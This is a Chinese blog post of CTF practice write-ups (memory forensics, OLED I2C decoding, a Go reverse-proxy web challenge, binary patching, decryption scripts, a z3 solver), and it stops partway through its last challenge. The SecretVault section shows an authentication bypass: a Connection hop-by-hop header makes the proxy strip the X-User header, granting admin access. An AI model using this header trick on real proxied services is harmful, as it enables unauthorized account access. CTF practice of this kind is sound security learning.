我的 CTF 练习周报 | 25.11.22 - 25.11.30

发布于 7 天前 4 次阅读


攻防世界 & Bugku

Misc 部分

PersonalVault

My friend created a vault for each process, unfortunately we haven't contacted for years, and this vault thing crashed my pc when I tried checking other's secret? Please help me with this.

题目附件是一个 8 GB 的内存转储文件 MEMORY.DMP。这里使用 LovelyMem 进行分析。

发现直接搜索 flag 即得到 Flag 如下:

flag{personal_vault_seems_a_little_volatile_innit}

LegacyOLED

提示:qwb{}

题目附件是 LegacyOLED.sr。十六进制编辑器查文件头发现是一个 ZIP 文件,解压得到以下文件:

  • logic-1-1
  • metadata
  • version

其中,能够直接确认的有效信息都来自 metadata,内容如下:

[global]
sigrok version=0.5.2

[device 1]
capturefile=logic-1
total probes=8
samplerate=4 MHz
total analog=0
probe1=D0
probe2=D1
unitsize=1

搜索得知,这个题目附件应该是由一个叫 sigrok 的软件制作的,这是一个监测信号的软件。下载并安装好相关软件(PulseView)就能直接打开题目附件了。

强网杯 LegacyOLED 1

题目名里有 OLED 字样,且了解到 sigrok 软件的作用,利用其分析认为 D1 的方波稳定密集连续,是时钟信号; D0 是数据信号。且信号的规律是只有时钟低电平时变化,高电平时不变化。这里认为使用 I2C 协议 与 OLED 组件进行通信。尝试用 I2C 协议解码器进行解码。然后配置 I2C 解码器设置中的 SCLD1SDAD0。最后将解码后的所有注释(Export all annotations)导出到 TXT 文本文档。

强网杯 LegacyOLED 2

导出的部分数据如下,发现符合 SSD1306 的特征

452829-453109 I2C: Address/data: Address write: 3C
452789-452789 I2C: Address/data: Start
453109-453149 I2C: Address/data: Write
453149-453189 I2C: Address/data: ACK
453204-453524 I2C: Address/data: Data write: 00
453524-453564 I2C: Address/data: ACK
453564-453884 I2C: Address/data: Data write: AF
453884-453924 I2C: Address/data: ACK
453966-453966 I2C: Address/data: Stop
454148-454148 I2C: Address/data: Start
454189-454469 I2C: Address/data: Address write: 3C
454469-454509 I2C: Address/data: Write
454509-454549 I2C: Address/data: ACK
454563-454883 I2C: Address/data: Data write: 00
454883-454923 I2C: Address/data: ACK
454923-455243 I2C: Address/data: Data write: A1
455243-455283 I2C: Address/data: ACK
455325-455325 I2C: Address/data: Stop
455478-455478 I2C: Address/data: Start
455519-455799 I2C: Address/data: Address write: 3C
455799-455839 I2C: Address/data: Write
455839-455879 I2C: Address/data: ACK
455893-456213 I2C: Address/data: Data write: 00
456213-456253 I2C: Address/data: ACK
456253-456573 I2C: Address/data: Data write: C8
456573-456613 I2C: Address/data: ACK
456655-456655 I2C: Address/data: Stop
456822-456822 I2C: Address/data: Start
456862-457142 I2C: Address/data: Address write: 3C
457142-457182 I2C: Address/data: Write
457182-457222 I2C: Address/data: ACK
457238-457558 I2C: Address/data: Data write: 00
457558-457598 I2C: Address/data: ACK
457598-457918 I2C: Address/data: Data write: 8D
457918-457958 I2C: Address/data: ACK
457958-458278 I2C: Address/data: Data write: 14
458278-458318 I2C: Address/data: ACK
458359-458359 I2C: Address/data: Stop

SSD1306 是 OLED 显示屏,128x64 点阵纵向有 128 列像素,横向有 8 页,每页 8 行像素,通过 pagecolumn 指针来索引,每次写入 8 个 bit。

这里使用以下 Python 脚本还原数据:

import re
import os
from PIL import Image

class SSD1306Virtual:
    def __init__(self, width=128, height=64):
        self.width = width
        self.height = height
        # GDDRAM: 8 pages, each 128 columns. Each byte represents 8 vertical pixels.
        self.buffer = bytearray(width * (height // 8))
        
        # Pointers and settings
        self.col = 0
        self.page = 0
        self.addressing_mode = 0x02  # Default: Page Addressing Mode (0x02)
        self.col_start = 0
        self.col_end = 127
        self.page_start = 0
        self.page_end = 7
        
        # Parsing state
        self.cmd_state = [] # To handle multi-byte commands like Set Column Address
        self.frame_count = 0
        self.bytes_since_last_frame = 0

    def write_command(self, cmd):
        # Handle multi-byte command arguments based on previous command
        if self.cmd_state:
            opcode = self.cmd_state[0]
            self.cmd_state.append(cmd)
            
            # Check if we have all arguments
            if opcode == 0x20 and len(self.cmd_state) == 2: # Set Memory Addressing Mode
                self.addressing_mode = cmd
                self.cmd_state = []
            elif opcode == 0x21 and len(self.cmd_state) == 3: # Set Column Address
                self.col_start = self.cmd_state[1]
                self.col_end = self.cmd_state[2]
                self.col = self.col_start
                self.cmd_state = []
            elif opcode == 0x22 and len(self.cmd_state) == 3: # Set Page Address
                self.page_start = self.cmd_state[1]
                self.page_end = self.cmd_state[2]
                self.page = self.page_start
                self.cmd_state = []
            return

        # Process single-byte commands or initiate multi-byte sequences
        if cmd == 0x20: # Set Memory Addressing Mode
            self.cmd_state = [cmd]
        elif cmd == 0x21: # Set Column Address
            self.cmd_state = [cmd]
        elif cmd == 0x22: # Set Page Address
            self.cmd_state = [cmd]
        elif 0xB0 <= cmd <= 0xB7: # Set Page Start Address for Page Mode
            self.page = cmd & 0x0F
        elif 0x00 <= cmd <= 0x0F: # Set Lower Column Start Address for Page Mode
            self.col = (self.col & 0xF0) | (cmd & 0x0F)
        elif 0x10 <= cmd <= 0x1F: # Set Higher Column Start Address for Page Mode
            self.col = (self.col & 0x0F) | ((cmd & 0x0F) << 4)
        # (Other commands like contrast, display on/off ignored for visual simulation)

    def write_data(self, data):
        # Calculate buffer index based on current page and column
        if 0 <= self.col < self.width and 0 <= self.page < 8:
            index = (self.page * 128) + self.col
            if index < len(self.buffer):
                self.buffer[index] = data
                self.bytes_since_last_frame += 1

        # Increment Pointers based on Addressing Mode
        if self.addressing_mode == 0x00:  # Horizontal Addressing Mode
            self.col += 1
            if self.col > self.col_end:
                self.col = self.col_start
                self.page += 1
                if self.page > self.page_end:
                    self.page = self.page_start
                    self.save_frame() # Pointer wrap-around indicates frame end
        
        elif self.addressing_mode == 0x01:  # Vertical Addressing Mode
            self.page += 1
            if self.page > self.page_end:
                self.page = self.page_start
                self.col += 1
                if self.col > self.col_end:
                    self.col = self.col_start
                    self.save_frame()

        else:  # Page Addressing Mode (0x02) - Default
            self.col += 1
            if self.col > self.col_end:
                self.col = self.col_start
                # Page does not auto-increment in Page Mode

    def save_frame(self):
        # Only save if we actually wrote data (avoids empty frames during init)
        if self.bytes_since_last_frame < 128: 
            return
            
        self.frame_count += 1
        img = Image.new('1', (self.width, self.height), 0) # 1-bit pixels, black background
        pixels = img.load()
        
        # Convert GDDRAM buffer to pixels
        # Buffer format: 8 pages. Page 0 is rows 0-7. Byte 0 is Col 0.
        # Bit 0 of a byte is the top pixel, Bit 7 is the bottom pixel of that page-column.
        for page_idx in range(8):
            for col_idx in range(128):
                byte = self.buffer[page_idx * 128 + col_idx]
                for bit in range(8):
                    if byte & (1 << bit):
                        x = col_idx
                        y = page_idx * 8 + bit
                        if x < self.width and y < self.height:
                            pixels[x, y] = 1 # Set pixel to white

        filename = f"oled_frame_{self.frame_count:04d}.png"
        img.save(filename)
        print(f"Saved {filename}")
        self.bytes_since_last_frame = 0

def parse_log(log_file):
    display = SSD1306Virtual()
    
    # I2C Parsing State
    # States: WAIT_START, WAIT_ADDR, WAIT_CTRL, STREAM_DATA, STREAM_CMD
    state = 'WAIT_START'
    stream_type = None # 'DATA' or 'CMD'
    
    # Regex to extract data. Pattern examples:
    # "I2C: Address/data: Start"
    # "I2C: Address/data: Address write: 3C"
    # "I2C: Address/data: Data write: 40"
    # "I2C: Address/data: Stop"
    
    print(f"Parsing {log_file}...")
    
    with open(log_file, 'r', encoding='utf-8', errors='ignore') as f:
        for line in f:
            line = line.strip()
            
            if "Address/data: Start" in line:
                state = 'WAIT_ADDR'
                continue
            
            if "Address/data: Stop" in line:
                state = 'WAIT_START'
                continue

            # Extract Hex Value if present
            match = re.search(r'write:\s*([0-9A-Fa-f]{2})', line)
            if not match:
                continue
            
            val = int(match.group(1), 16)
            
            if state == 'WAIT_ADDR':
                # We check for SSD1306 address (0x3C or 0x3D usually, log shows 0x3C)
                # Note: 0x3C is 7-bit. Write bit makes it 0x78.
                # The log explicitly says "Address write: 3C".
                if "Address write:" in line and val == 0x3C:
                    state = 'WAIT_CTRL'
                else:
                    state = 'IGNORE' # Not our device
            
            elif state == 'WAIT_CTRL':
                # This byte is the Control Byte
                # Co (Bit 7): 0=Stream, 1=Single
                # D/C# (Bit 6): 0=Command, 1=Data
                co = (val & 0x80) >> 7
                dc = (val & 0x40) >> 6
                
                if dc == 1:
                    target_type = 'DATA'
                else:
                    target_type = 'CMD'
                
                if co == 0:
                    # Stream mode: Following bytes are all of target_type
                    state = 'STREAM_' + target_type
                else:
                    # Single mode: Next byte is payload, then expect another Control Byte
                    state = 'SINGLE_' + target_type
            
            elif state == 'STREAM_CMD':
                display.write_command(val)
                
            elif state == 'STREAM_DATA':
                display.write_data(val)
                
            elif state == 'SINGLE_CMD':
                display.write_command(val)
                state = 'WAIT_CTRL' # Expect control byte next
                
            elif state == 'SINGLE_DATA':
                display.write_data(val)
                state = 'WAIT_CTRL' # Expect control byte next

if __name__ == "__main__":
    if os.path.exists("i2c.txt"):
        parse_log("i2c.txt")
    else:
        print("Error: i2c.txt not found.")

发现还原数据得到的结果就是强网杯的 Logo,以及需要解码的数据。将还原结果用 StegSolve 进行 LSB 处理即可得到 Flag:

强网杯 LegacyOLED 3

强网杯 LegacyOLED 4

Congratulations on your incredible success!  ... fqwb{Re41_Ma5te7 -O5-S5Dl3o6_12C} !  You bre reall y smart"

按照题目要求,Flag 即为:

qwb{Re41_Ma5te7-O5-S5Dl3o6_12C}

Web 部分

SecretVault

分析附件,发现题目 vault 是一个 Flask 程序,有一个 Go 写的 authorizer 反向代理中间件,题目连接的数据库为 sqlite:///vault.db。题目提供注册和登录功能。

注意到以下方法可能可以获取 Flag:

if not User.query.first():
            salt = secrets.token_bytes(16)
            password = secrets.token_bytes(32).hex()
            password_hash = hash_password(password, salt)
            user = User(
                id=0,
                username='admin',
                password_hash=password_hash,
                salt=base64.b64encode(salt).decode('utf-8'),
            )
            db.session.add(user)
            db.session.commit()

            flag = open('/flag').read().strip()
            flagEntry = VaultEntry(
                user_id=user.id,
                label='flag',
                login='flag',
                password_encrypted=fernet.encrypt(flag.encode('utf-8')).decode('utf-8'),
                notes='This is the flag entry.',
            )
            db.session.add(flagEntry)
            db.session.commit()

所以我们只要使 UID 为 0 就能得到 Flag。又因为:

@login_required
    def dashboard():
        user = g.current_user
        entries = [
            {
                'id': entry.id,
                'label': entry.label,
                'login': entry.login,
                'password': fernet.decrypt(entry.password_encrypted.encode('utf-8')).decode('utf-8'),
                'notes': entry.notes,
                'created_at': entry.created_at,
            }
            for entry in user.vault_entries
        ]
        return render_template('dashboard.html', username=user.username, entries=entries)

所以我们需要在题目环境里注册一个账号,确保我们能够访问 /dashboard 路由。且:

def login_required(view_func):
        @wraps(view_func)
        def wrapped(*args, **kwargs):
            uid = request.headers.get('X-User', '0')
            print(uid)
            if uid == 'anonymous':
                flash('Please sign in first.', 'warning')
                return redirect(url_for('login'))
            try:
                uid_int = int(uid)
            except (TypeError, ValueError):
                flash('Invalid session. Please sign in again.', 'warning')
                return redirect(url_for('login'))
            user = User.query.filter_by(id=uid_int).first()
            if not user:
                flash('User not found. Please sign in again.', 'warning')
                return redirect(url_for('login'))

            g.current_user = user
            return view_func(*args, **kwargs)

也就是说,当 X-User 字段不存在时,UID 就会为 0。但是 Go 中间件写死了逻辑,请求一定会有 X-User: anonymous 或者 X-User: uid

func main() {
	authorizer := &httputil.ReverseProxy{Director: func(req *http.Request) {
		req.URL.Scheme = "http"
		req.URL.Host = "127.0.0.1:5000"

		uid := GetUIDFromRequest(req)
		log.Printf("Request UID: %s, URL: %s", uid, req.URL.String())
		req.Header.Del("Authorization")
		req.Header.Del("X-User")
		req.Header.Del("X-Forwarded-For")
		req.Header.Del("Cookie")

		if uid == "" {
			req.Header.Set("X-User", "anonymous")
		} else {
			req.Header.Set("X-User", uid)
		}
	}}

所以需要我们思考的是,在拿不到题目的 Secret Key,不能伪造 JWT Token 和 Session 的前提下,应如何才能使最终转发到的 X-User 为空或为 0。这里的思路还是要从中间件的 ReverseProxy 入手。

如果代理遵循 HTTP 规范,比如 Connection: X-User 会将 X-User 标记为 Hop-by-Hop Headers 让代理删除有关的请求字段,不将其转发到下游服务。

Go 的 ReverseProxy 有实现如下:

// https://go.dev/src/net/http/httputil/reverseproxy.go
// removeHopByHopHeaders removes hop-by-hop headers.
func removeHopByHopHeaders(h http.Header) {
	// RFC 7230, section 6.1: Remove headers listed in the "Connection" header.
	for _, f := range h["Connection"] {
		for sf := range strings.SplitSeq(f, ",") {
			if sf = textproto.TrimString(sf); sf != "" {
				h.Del(sf)
			}
		}
	}
	// RFC 2616, section 13.5.1: Remove a set of known hop-by-hop headers.
	// This behavior is superseded by the RFC 7230 Connection header, but
	// preserve it for backwards compatibility.
	for _, f := range hopHeaders {
		h.Del(f)
	}
}

所以我们可以把 Connection 字段改成 Connection: keep-alive, X-User 即可使 X-User 被解析为 0,得到 Flag 如下:

强网杯 SecretVault 1

flag{9ebe1e4421deb7001b40cce24a4ce200}

Reverse 部分

Flag 自动机

所属赛事:Hackergame 2022
难度:签到

题目程序挺有意思,是一个窗体应用,界面里的“狠心夺取”按钮会到处乱跑,但就是点不着。IDA 静态分析,发现程序无壳。

注意到主程序 sub_401510 接受 UINT 类型 Msg,函数里有一个 switch case,当 Msg0x111(_WORD)a3 == 3lParam == 114514时,则获得 Flag。程序的加密函数应该是 sub_401F8A()

尝试通过动态调试来获取 Flag,结果发现题目有反调试机制。所以,这里尝试对题目附件进行 Patch 以阻止按钮随机移动或能够直接按要求进行响应,注意到 WinMain 有:

SetWindowSubclass(hWnd, pfnSubclass, 0x190u, 0);

发现 pfnSubclass 内容如下,可能和随机移动的按钮相关:

LRESULT __stdcall pfnSubclass(
        HWND hWnd,
        UINT uMsg,
        WPARAM wParam,
        LPARAM lParam,
        UINT_PTR uIdSubclass,
        DWORD_PTR dwRefData)
{
  int Y; // [esp+28h] [ebp-10h]
  int X; // [esp+2Ch] [ebp-Ch]

  if ( uMsg == 512 )
  {
    X = rand() % 150 + 50;
    Y = rand() % 150 + 50;
    SetWindowPos(::hWnd, 0, X, Y, 80, 25, 0);
  }
  return DefSubclassProc(hWnd, uMsg, wParam, lParam);
}

jnz loc_401A05 改为 jz loc_401A05 ,得到 if ( uMsg != 512 ) 以阻止 SetWindowPos 被子类调用;同理,将 lParam == 114514 改为 lParam != 114514 ,然后就得到了按钮不会乱跑,点击按钮就能得到 Flag 的目标程序。

强网杯 Flag 自动机 1

Flag 如下:

flag{Y0u_rea1ly_kn0w_Win32API_89ab91ac0c}

butterfly

题目给了一个 ELF64 程序 butterfly,以及附件 encode.datencode.dat.key,运行后提示如下:

$ ./butterfly
Usage: ./butterfly <input_file> <output_file>
Example: ./butterfly plaintext.txt encoded.dat

由此定位到主程序 sub_4018D0

__int64 __fastcall sub_4018D0(int a1, _QWORD *a2, __int64 a3, int a4, int a5, int a6)
{
  int v6; // ecx
  int v7; // r8d
  int v8; // r9d
  __int64 v10; // r14
  __int64 v11; // r13
  __int64 v12; // rax
  int v13; // ecx
  int v14; // r8d
  int v15; // r9d
  __int64 v16; // r12
  __int64 v17; // rbx
  __int64 v18; // rax
  __m64 *v19; // rbp
  __int64 v20; // r15
  int v21; // ecx
  int v22; // r8d
  int v23; // r9d
  __m128i v24; // xmm0
  int v25; // ecx
  int v26; // r8d
  int v27; // r9d
  __m64 *v28; // rax
  __m64 v29; // mm0
  __m64 v30; // mm2
  int v31; // ecx
  int v32; // r8d
  int v33; // r9d
  int v34; // ecx
  int v35; // r8d
  int v36; // r9d
  int v37; // ecx
  int v38; // r8d
  int v39; // r9d
  _QWORD v40[2]; // [rsp+0h] [rbp-158h] BYREF
  __m128i v41; // [rsp+10h] [rbp-148h]
  __m64 v42[39]; // [rsp+20h] [rbp-138h] BYREF

  if ( a1 != 3 )
  {
    sub_4776D0(2, (unsigned int)"Usage: %s <input_file> <output_file>\n", *a2, a4, a5, a6, v40[0]);
    sub_4776D0(2, (unsigned int)"Example: %s plaintext.txt encoded.dat\n", *a2, v6, v7, v8, v40[0]);
    return 1LL;
  }
  v10 = a2[1];
  v11 = a2[2];
  v12 = sub_405540(v10, "rb");
  v16 = v12;
  if ( !v12 )
  {
    sub_4776D0(2, (unsigned int)"Error: Cannot open file %s\n", v10, v13, v14, v15, v40[0]);
    return 1LL;
  }
  sub_407480(v12, 0LL, 2LL);
  v17 = sub_405640(v16);
  sub_407480(v16, 0LL, 0LL);
  v18 = sub_412620(v17 + 8);
  v19 = (__m64 *)v18;
  if ( !v18 )
  {
    sub_405180(v16);
    sub_4774A0("Error: Memory allocation failed");
    return 1LL;
  }
  v20 = sub_41CC80(v18, v17 + 8, 1LL, v17, v16);
  sub_405180(v16);
  if ( v17 != v20 )
  {
    sub_412CF0(v19);
    sub_4774A0("Error: File read failed");
    return 1LL;
  }
  *(__int16 *)((char *)v19->m64_i16 + v17) = v17;
  // 使用硬编码密钥"MMXEncode2024"
  v24 = _mm_loadu_si128((const __m128i *)"MMXEncode2024");
  v40[1] = v24.m128i_i64[1];
  v41 = _mm_loadu_si128((const __m128i *)"coding file: %s\n");
  sub_4776D0(2, (unsigned int)"Encoding file: %s\n", v10, v21, v22, v23, v24.m128i_i8[0]);
  sub_4776D0(2, (unsigned int)"Original size: %zu bytes\n", v17, v25, v26, v27, v40[0]);
  v42[0] = (__m64)v40[0];
  if ( (int)v17 > 7 )
  {
    v28 = v19;
    // 循环编码
    do
    {
      v29 = _m_pxor((__m64)v28->m64_u64, v42[0]); // XOR 异或操作
      v30 = _m_por(_m_psrlwi(v29, 8u), _m_psllwi(v29, 8u)); // 字节交换
      v28->m64_u64 = (unsigned __int64)_m_paddb(_m_por(_m_psllqi(v30, 1u), _m_psrlqi(v30, 0x3Fu)), v42[0]); // 循环移位和加法运算
      if ( &v19[(unsigned int)(v17 - 1) >> 3] == v28 )
        break;
      ++v28;
    }
    while ( &v19[((unsigned int)(v17 - 8) >> 3) + 1] != v28 );
  }
  _m_empty();
  if ( (unsigned int)sub_401CA0(v11, v19, v17) )
  {
    sub_4776D0(2, (unsigned int)"Successfully encoded to: %s\n", v11, v31, v32, v33, v40[0]);
    sub_4776D0(2, (unsigned int)"Encoded size: %zu bytes\n", v17, v34, v35, v36, v40[0]);
    sub_4777A0((unsigned int)v42, 256, 2, 256, (unsigned int)"%s.key", v11, v40[0]);
    if ( (unsigned int)sub_401CA0(v42, v40, 32LL) )
      sub_4776D0(2, (unsigned int)"Key saved to: %s\n", (unsigned int)v42, v37, v38, v39, v40[0]);
  }
  sub_412CF0(v19);
  return 0LL;
}

解密脚本如下:

import struct
import sys

def decode_file(encoded_file, output_file, key_file=None):
    with open(encoded_file, 'rb') as f:
        encoded_data = f.read()

    if key_file:
        with open(key_file, 'rb') as f:
            key_data = f.read(8)
    else:
        key_data = b'MMXEncode2024'[:8]  # "MMXEncode2024"的前8字节
    
    key = struct.unpack('<Q', key_data)[0]  # 小端序的64位整数
    decoded_data = mmx_decode(encoded_data, key)
    
    with open(output_file, 'wb') as f:
        f.write(decoded_data)
    print(f"解码成功:{encoded_file} -> {output_file}")

def mmx_decode(encoded_data, key):
    data = bytearray(encoded_data)
    length = len(data)
    
    # 处理8字节对齐的块
    for i in range(0, length - 7, 8):
        # 提取8字节块
        chunk = struct.unpack('<Q', data[i:i+8])[0]
        # 逆向处理
        # 步骤3:字节减法(逆向编码中的字节加法)
        chunk_bytes = [(chunk >> (j * 8)) & 0xFF for j in range(8)]
        key_bytes = [(key >> (j * 8)) & 0xFF for j in range(8)]
        subtracted_bytes = [(chunk_bytes[j] - key_bytes[j]) & 0xFF for j in range(8)]
        chunk = sum((subtracted_bytes[j] << (j * 8)) for j in range(8))
        
        # 步骤2:循环右移1位(逆向编码中的循环左移1位)
        chunk = ((chunk >> 1) | (chunk << 63)) & 0xFFFFFFFFFFFFFFFF
        
        # 步骤1:字节交换(16位单元内的高低字节交换)
        # 这个操作是对称的,所以再做一次就能恢复
        temp = 0
        for j in range(0, 8, 2):
            low_byte = (chunk >> (j * 8)) & 0xFF
            high_byte = (chunk >> ((j + 1) * 8)) & 0xFF
            temp |= (low_byte << ((j + 1) * 8))
            temp |= (high_byte << (j * 8))
        chunk = temp
        
        # 最后进行XOR操作
        chunk ^= key
        
        # 写解码数据
        data[i:i+8] = struct.pack('<Q', chunk)
    
    return bytes(data)

def main():
    encoded_file = 'encode.dat'
    output_file = 'output.txt'
    key_file = 'encode.dat.key'
    
    try:
        decode_file(encoded_file, output_file, key_file)
    except Exception as e:
        print(f"解码失败:{e}")

if __name__ == "__main__":
    main()

最终得到 Flag:

flag{butter_fly_mmx_encode_7778167}

GameMaster

题目附件解压后发现一共三个文件:BlackjackConsole.exeBlackjack.dllgamemessage,其中 gamemessage 无法直接读出。

运行游戏时,发现游戏窗口名如下。搜索发现原版游戏代码存储库

强网杯 GameMaster 1

Blackjack.dll 里存储了主要的游戏逻辑,由 C# 编写,因此这里使用 dnSpy 进行分析:

强网杯 GameMaster 2

对比原版代码可知,genCode 是本题新加的用于加密游戏消息的方法,其代码如下:

public void genCode()
		{
			// key: qwb2022BlackJack
			byte[] key = new byte[]
			{
				113,
				119,
				98,
				50,
				48,
				50,
				50,
				66,
				108,
				97,
				99,
				107,
				74,
				97,
				99,
				107
			};
			RijndaelManaged rijndaelManaged = new RijndaelManaged
			{
				Key = key,
				Mode = CipherMode.ECB,
				Padding = PaddingMode.PKCS7
			};
			ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
			this.userMessage = cryptoTransform.TransformFinalBlock(this.userMessage, 0, this.userMessage.Length);
		}

另外,Blackjack.dll 里有关 flag 的判定也都是新加的。但通过 dnSpy 分析发现,genCode 未被使用

然后分析 BlackjackConsole.exe,发现这个程序确实调用到了 gamemessage,且按 ESC 键会触发 verifyCode 方法。另外,Program 中被加入了明显的后门函数 memcmpmemcmp1 以及 goldFunc。其中,函数 goldFunc 的一段内容很明显:

bool flag = Program.memcmp(input, "TZT9PR1S9", 9);

紧接着就是数量巨大的调用 memcmpmemcmp1 以及其他相关代码。我们还发现,真正的 keyBrainstorming!!!

这段代码中存在“达成存档点”,其特点如下:

  • AchivePoint1:将内存中的密文逐位异或 34
if (flag23)
{
	try
	{
		game.Player.Bet -= 22m;
		for (int i = 0; i < Program.memory.Length; i++)
		{
			byte[] array = Program.memory;
			int num = i;
			array[num] ^= 34;
		}
		Environment.SetEnvironmentVariable("AchivePoint1", game.Player.Balance.ToString());
	}
	catch
	{
	}
}
  • AchivePoint2:ECB 加密,ZeroPadding,key = Brainstorming!!!
else
{
	bool flag41 = Program.memcmp1(input, "EEPW", 4);
	if (flag41)
	{
		try
		{
			game.Player.Balance += 175m;
			byte[] key = new byte[] // Brainstorming!!!
			{
				66,
				114,
				97,
				105,
				110,
				115,
				116,
				111,
				114,
				109,
				105,
				110,
				103,
				33,
				33,
				33
			};
			ICryptoTransform cryptoTransform = new RijndaelManaged
			{
				Key = key,
				Mode = CipherMode.ECB,
				Padding = PaddingMode.Zeros
			}.CreateDecryptor();
			Program.m = cryptoTransform.TransformFinalBlock(Program.memory, 0, Program.memory.Length);
			Environment.SetEnvironmentVariable("AchivePoint2", game.Player.Balance.ToString());
		}
		catch
		{
		}
	}
  • AchivePoint3:反序列化序列化流。
if (flag61)
{
	try
	{
		game.Player.Balance -= 27m;
		Environment.SetEnvironmentVariable("AchivePoint3", game.Player.Balance.ToString());
		BinaryFormatter binaryFormatter = new BinaryFormatter();
		MemoryStream serializationStream = new MemoryStream(Program.m);
		binaryFormatter.Deserialize(serializationStream);
	}
	catch
	{
	}
}

基于这一前提,对题目所给附加的代码进行进一步分析。使用以下代码对 gamemessage 进行解密:

import os
from Crypto.Cipher import AES

key = b"Brainstorming!!!"
output_file = "decrypted.bin"

with open("gamemessage", 'rb') as f:
    encrypted = f.read()

xor_data = bytearray([b ^ 34 for b in encrypted])

cipher = AES.new(key, AES.MODE_ECB)
decrypted = cipher.decrypt(bytes(xor_data))

with open(output_file, 'wb') as f:
    f.write(decrypted)

print(f"解密完成: {output_file}")

用十六进制编辑器分析解密后得到的文件,发现 MZ 字样,认为 gamemessage 是一个 .NET 程序。为便于分析,把 MZ 前的内容全部删除后保存,使用 dnSpy 进行分析。

强网杯 GameMaster 3

程序名叫 ExploitClass.dll,它的内容应该就是我们需要解密的内容:

using System;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace T1Class
{
	// Token: 0x02000002 RID: 2
	public class T1
	{
		// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
		private static void Check1(ulong x, ulong y, ulong z, byte[] KeyStream)
		{
			int num = -1;
			for (int i = 0; i < 320; i++)
			{
				x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1UL) | x << 1);
				y = (((y >> 30 ^ y >> 27) & 1UL) | y << 1);
				z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1UL) | z << 1);
				bool flag = i % 8 == 0;
				if (flag)
				{
					num++;
				}
				KeyStream[num] = (byte)((long)((long)KeyStream[num] << 1) | (long)((ulong)((uint)((z >> 32 & 1UL & (x >> 30 & 1UL)) ^ (((z >> 32 & 1UL) ^ 1UL) & (y >> 31 & 1UL))))));
			}
		}

		// Token: 0x06000002 RID: 2 RVA: 0x00002110 File Offset: 0x00000310
		private static void ParseKey(ulong[] L, byte[] Key)
		{
			for (int i = 0; i < 3; i++)
			{
				for (int j = 0; j < 4; j++)
				{
					Key[i * 4 + j] = (byte)(L[i] >> j * 8 & 255UL);
				}
			}
		}

		// Token: 0x06000003 RID: 3 RVA: 0x0000215C File Offset: 0x0000035C
		public T1()
		{
			try
			{
				string environmentVariable = Environment.GetEnvironmentVariable("AchivePoint1");
				string environmentVariable2 = Environment.GetEnvironmentVariable("AchivePoint2");
				string environmentVariable3 = Environment.GetEnvironmentVariable("AchivePoint3");
				bool flag = environmentVariable == null || environmentVariable2 == null || environmentVariable3 == null;
				if (!flag)
				{
					ulong num = ulong.Parse(environmentVariable);
					ulong num2 = ulong.Parse(environmentVariable2);
					ulong num3 = ulong.Parse(environmentVariable3);
					ulong[] array = new ulong[3];
					byte[] array2 = new byte[40];
					byte[] array3 = new byte[40];
					byte[] array4 = new byte[12];
					byte[] first = new byte[]
					{
						101,
						5,
						80,
						213,
						163,
						26,
						59,
						38,
						19,
						6,
						173,
						189,
						198,
						166,
						140,
						183,
						42,
						247,
						223,
						24,
						106,
						20,
						145,
						37,
						24,
						7,
						22,
						191,
						110,
						179,
						227,
						5,
						62,
						9,
						13,
						17,
						65,
						22,
						37,
						5
					};
					byte[] array5 = new byte[]
					{
						60,
						100,
						36,
						86,
						51,
						251,
						167,
						108,
						116,
						245,
						207,
						223,
						40,
						103,
						34,
						62,
						22,
						251,
						227
					};
					array[0] = num;
					array[1] = num2;
					array[2] = num3;
					T1.Check1(array[0], array[1], array[2], array2);
					bool flag2 = first.SequenceEqual(array2);
					if (flag2)
					{
						T1.ParseKey(array, array4);
						for (int i = 0; i < array5.Length; i++)
						{
							array5[i] ^= array4[i % array4.Length];
						}
						MessageBox.Show("flag{" + Encoding.Default.GetString(array5) + "}", "Congratulations!", MessageBoxButtons.OK);
					}
				}
			}
			catch (Exception)
			{
			}
		}
	}
}

其中变量 x, y, z 未知,分别对应游戏中要求玩家得到的正确的对应金额。这里使用 z3 约束求解器对其进行求解:

from z3 import *

def solve():
    first = [
        101, 5, 80, 213, 163, 26, 59, 38, 19, 6, 173, 189, 198, 166, 140, 183, 
        42, 247, 223, 24, 106, 20, 145, 37, 24, 7, 22, 191, 110, 179, 227, 5, 
        62, 9, 13, 17, 65, 22, 37, 5
    ]
    
    array5 = [
        60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 
        62, 22, 251, 227
    ]

    solver = Solver()
    
    # 定义初始变量
    x = x_init = BitVec('x', 64)
    y = y_init = BitVec('y', 64) 
    z = z_init = BitVec('z', 64)
    
    current_byte = 0
    
    for i in range(320):
        # LFSR 更新
        x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1) | x << 1)
        y = (((y >> 30 ^ y >> 27) & 1) | y << 1)
        z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1) | z << 1)
        
        # 生成输出位
        sel = LShR(z, 32) & 1
        out_bit = (sel & (LShR(x, 30) & 1)) ^ ((sel ^ 1) & (LShR(y, 31) & 1))
        
        current_byte = (current_byte << 1) | out_bit
        
        # 每8位添加约束
        if (i + 1) % 8 == 0:
            solver.add((current_byte & 0xFF) == first[i // 8])
            current_byte = 0

    # print(solver.check())

    if solver.check() == sat:
        model = solver.model()
        vx, vy, vz = [model[v].as_long() for v in (x_init, y_init, z_init)]
        
        print(solver.model())
        
        # 生成密钥字节
        key_bytes = []
        for val in (vx, vy, vz):
            key_bytes.extend((val >> (j * 8)) & 0xFF for j in range(4))
        
        print("Key:", key_bytes)
        
        flag = ''.join(chr(array5[i] ^ key_bytes[i % len(key_bytes)]) for i in range(len(array5)))
        print("\nflag{" + flag + "}")
        
    else:
        print("Unsatisfiable 不可满足")

if __name__ == "__main__":
    solve()

成功解密得到 Flag 如下:

[z = 3131229747, y = 868387187, x = 156324965]
Key: [101, 84, 81, 9, 115, 137, 194, 51, 51, 198, 162, 186]

flag{Y0u_@re_G3meM3s7er!}

whats-the-hell-500

下载题目附件,发现题目直接给了 task8.cxx和头文件 somelib.hxx。其中,task8.cxx 明确定义有逻辑如下:

void check_password(std::string& p)
{
    if (p.size() != 13)
    {
        std::cout << "Password must be 13 characters" << std::endl;
        std::exit(-1);
    }

